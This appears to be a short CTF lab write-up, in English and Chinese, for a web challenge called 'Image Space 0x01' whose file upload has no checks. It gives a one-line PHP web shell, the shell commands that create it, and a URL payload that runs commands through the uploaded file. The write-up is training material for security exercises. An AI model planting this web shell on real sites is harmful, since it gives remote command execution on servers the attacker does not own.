Simple Web 0x04(Lab - Image Space 0x01)
tags: NTUSTWS CTF Web
Challenge: http://h4ck3r.quest:9010
Source code
1 | |
There’s no any protection. Therefore, upload webshell and get shell
Exploit - webshell
- 直接上傳一個名為
webshell.php的檔案,內容為<?php system($_GET["sh"]); ?>1
2$ touch webshell.php $ echo '<?php system($_GET["sh"]); ?>' > webshell.php - 傳送出去之後查看該圖片並且在query的地方寫command,Payload:
1
http://h4ck3r.quest:9010/images/<filename>.php?sh=pwd
如果想要deploy在localhost
1 | |